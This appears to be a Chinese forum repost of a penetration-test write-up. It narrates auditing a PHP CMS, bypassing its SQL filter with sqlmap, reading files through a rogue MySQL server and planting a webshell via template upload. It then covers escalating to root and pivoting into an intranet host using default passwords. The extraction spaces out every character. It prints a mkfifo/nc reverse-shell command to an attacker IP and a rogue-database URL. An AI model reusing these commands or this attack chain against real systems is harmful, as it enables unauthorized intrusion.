搜索

[26731] 2021-06-12_记一次代码审计的Linux内网渗透

文档创建者：s7ckTeam
浏览次数：1
最后更新：2025-01-19
2021-06-12_记一次代码审计的Linux内网渗透 1 2 记 一 次 代 码 审 计 的 L i n u x 内 网 渗 透 原 创   R a i l g u n   m o o n s e c   2 0 2 1 - 0 6 - 1 2 收 录 于 话 题 # 渗 透 测 试   信 息 安 全   , 2 1 # 网 安   , 9 记 一 次 代 码 审 计 的 记 一 次 代 码 审 计 的 L i n u x 内 网 渗 透 内 网 渗 透 D M Z W E B   S E R V E R I n f o m a t i o n G a t h e r i n g 看 到 主 要 是 开 了 8 8 8 、 2 1 、 8 0 、 3 3 0 6 端 口 ， 8 8 8 好 像 是 b t ， 看 一 下 8 0 : 就 是 我 们 的 目 标 站 ， 某 c m s v 1 . 0 ， 下 载 下 来 审 计 一 波 看 看 。 P H P C M S   C o d e   A u d i t
分 析 流 程 发 现 i n d e x . p h p - > . / l o a d e r / l o a d . p h p - > . / l o a d e r / d o c . p h p 先 看 l o a d . p h p 注 释 也 比 较 清 楚 ， 就 是 根 据 u r l 加 载 功 能 的 引 导 页 ， 再 看 d o c . p h p 首 先 包 含 了 比 较 重 要 的 / i n c / f u c t i o n . p h p ， 然 后 对 传 入 的 参 数 做 了 c l e a n A r r a y F o r M y s q l ( ) 处 理 。 往 下 看 ， 比 较 重 要 的 路 由 规 则 : 路 由 大 概 就 是 这 样 的 ， 比 较 简 单 ， 但 是 最 后 一 部 分 调 用 a c t i o n 之 前 有 一 个 H T M L _ L O A D ( ) ： 经 过 测 试 应 该 是 进 入 了 最 后 一 个 e l s e 然 后 跳 转 ， 应 该 是 开 启 了 伪 静 态 的 原 因 。 接 下 来 看 一 下 常 用 函 数 有 没 有 问 题 : / i n c / f u n c t i o n . p h p
可 以 看 到 对 基 本 s q l 注 入 的 关 键 字 进 行 了 检 测 。 后 台 后 台 g e t s h e l l : / a d m i n i / c o n t r o l l e r s / s y s t e m / c h a n g e s k i n . p h p 上 传 模 板 ， z i p 文 件 直 接 解 压 。 S Q L 注 入 注 入 : c o n t e n t s e a r c h i n d e x . p h p s e a r c h 功 能 ， 在 进 行 u r l d e c o d e ( ) 之 前 就 进 行 了 c h e c k S q l S t r ( ) 检 测 处 理 ， 因 此 达 不 到 效 果 。 写 个 t a m p e r 脚 本 ， 进 行 两 次 u r l 编 码 就 行 ， 用 s q l m a p 跑 : 跑 出 来 以 后 不 知 道 这 什 么 加 密 ， 看 一 下 : / a d m i n / l o g i n . p h p
3 跟 进 d o c E n c r y p t i o n : 看 了 下 ， g e t j x q y 3 ( ) 中 后 面 三 行 问 题 都 不 大 ， 但 第 一 部 分 字 符 串 截 取 是 不 可 逆 的 。 尝 试 能 不 能 用 s q l - s h e l l 去 修 改 一 下 密 码 。 后 面 发 现 数 据 库 可 以 外 连 ， 尝 试 能 不 能 搞 到 数 据 库 账 号 密 码 。 M y S Q L A r b i t r a r i l y   F i l e   R e a d / s e t u p / c h k d b . p h p 先 让 它 报 错 获 取 路 径 。 然 后 本 地 数 据 库 开 启 外 连 来 读 文 件 。
4 5 读 取 文 件 的 同 时 发 现 也 爆 路 径 了 ， 不 知 道 是 不 是 这 个 伪 造 的 m y s q l s e r v e r 的 原 因 ， 以 后 没 办 法 爆 路 径 可 以 试 一 下 ( 伪 造 m y s q l s e r v e r 默 认 账 号 密 码 就 是 r o o t 1 2 3 4 5 6 ) 。 更 新 一 波 密 码 直 接 上 后 台 。 B y p a s s   d i s a b l e _ f u n c t i o n s 用 刚 才 找 到 的 上 传 模 板 g e t s h e l l ， 本 地 有 环 境 ， 直 接 把 s h e l l 放 进 去 原 本 的 模 板 打 包 上 传 。 发 现 上 传 失 败 。 遂 修 改 模 板 加 上 一 句 话 也 不 行 ， 整 个 模 板 目 录 访 问 发 现 4 0 3 ， 不 过 没 关 系 ， 不 需 要 直 接 访 问 ， 因 为 本 来 用 的 模 板 就 是 它 ， 可 以 自 动 加 载 。 可 以 执 行 代 码 ， 但 是 A n t S w o r d 连 不 上 。 菜 刀 成 功 连 接 ， 写 入 s h e l l 用 A n t S w o r d 连 接 即 可 。 估 计 有 d i s a b l e f u n c t i o n s 。 p r i v i l e g e E s c a l a t i o n 看 了 下 s u d o 版 本 ， 试 一 下 。 但 是 对 于 l i n u x 提 权 还 是 建 立 一 个 交 互 式 s h e l l 比 较 方 便 。 1 、 S U I D 提 权 h t t p : / / w w w . x x x . c o m / s e t u p / c h e c k d b . p h p ? d b n a m e = m y s q l & u n a m e = r o o t & p w d = 1 2 3 4 5 6 & d b h o s t = x x x . x x x . x x x . x x x & a c t i o n = c h k d b r m / t m p / f ; m k f i f o   / t m p / f ; c a t   / t m p / f | / b i n / s h   - i   2 > & 1 | n c 1 9 2 . 1 6 8 . 8 . 1 8 7   1 4 5 6   > / t m p / f     p y t h o n 3   - c   ' i m p o r t   p t y ; p t y . s p a w n ( " / b i n / s h " ) '
好 家 伙 ， 直 接 一 波 r o o t 。 2 、 b t 提 权 用 户 桌 面 发 现 的 b t 相 关 信 息 。 加 上 计 划 任 务 。 I n t r a n e t 两 张 网 卡 。 开 个 代 理 用 n m a p 探 测 一 下 内 网 发 现 1 4 4 是 u p 的 ， 再 看 下 端 口 。
6 7 e m l o g   g e t s h e l l 尝 试 一 波 弱 口 令 ， 通 过 a d m i n : 1 2 3 4 5 6 进 入 后 台 下 载 一 个 正 常 模 板 放 一 句 话 进 去 上 传 使 用 即 可 。 P r i v i l e g e   E s c a l a t i o n 常 规 试 了 下 s u d o 、 s u i d 提 权 ， m s f b i n d 也 拿 不 到 s h e l l ， 所 以 看 看 还 有 什 么 提 权 方 法 。 发 现 开 了 8 0 8 0 端 口 是 个 w d c p 服 务 器 ， 默 认 密 码 登 陆 失 败 a d m i n : w d l i n u x . c n ， 但 是 m y s q l 的 默 认 密 码 没 改 ， 还 是 上 面 那 个 。 w w w . t a r g e t . c o m : 8 0 8 0 / p h p m y a d m i n 默 认 密 码 登 陆 上 去 后 可 以 看 到 :
8 找 到 管 理 员 密 码 ， m d 5 解 开 后 登 陆 上 主 面 板 即 可 。 功 能 是 真 的 全 ， 还 能 改 r o o t 密 码 ， 直 接 提 权 即 可 。 也 可 以 加 个 计 划 任 务 ， 收 工 ~ 关 注 公 众 号 关 注 本 公 众 号 关 注 本 公 众 号   不 定 期 更 新 文 章 和 视 频 不 定 期 更 新 文 章 和 视 频 欢 迎 前 来 关 注 欢 迎 前 来 关 注 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理